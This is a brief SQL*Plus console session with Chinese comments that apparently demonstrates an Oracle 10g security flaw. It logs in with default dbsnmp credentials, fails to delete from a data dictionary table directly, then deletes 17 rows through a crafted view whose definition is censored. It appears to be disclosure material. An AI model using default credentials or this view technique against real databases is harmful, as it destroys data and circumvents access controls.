C:/>sqlplus dbsnmp/dbsnmp SQL*Plus: Release 10.1.0.4.0 - ProdUCtion on Thu Apr 8 19:20:27 2006 Copyright (c) 1982, 2005, Oracle. All rights reserved. Connected to: Oracle Database 10g Enterprise Edition Release 10.1.0.4.0- Production With the Partitioning, OLAP and Data Mining options SQL> select * from v$version; BANNER Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Prod PL/SQL Release 10.1.0.4.0 - Production CORE 10.1.0.4.0 Production TNS for 32-bit Windows: Version 10.1.0.4.0 - Production NLSRTL Version 10.1.0.4.0 - Production SQL> -- 无法从数据词典删除数据（正常） SQL> delete from sys.registry$; delete from sys.registry$ * ERROR at line 1: ORA-01031: insufficient privileges SQL> -- 创建特制的自定义视图 SQL> create or replace view e as select [...censored...]; View created. SQL> -- 通过视图丢弃数据!!! ==> 安全漏洞 !!! SQL> delete from e; 17 rows deleted.
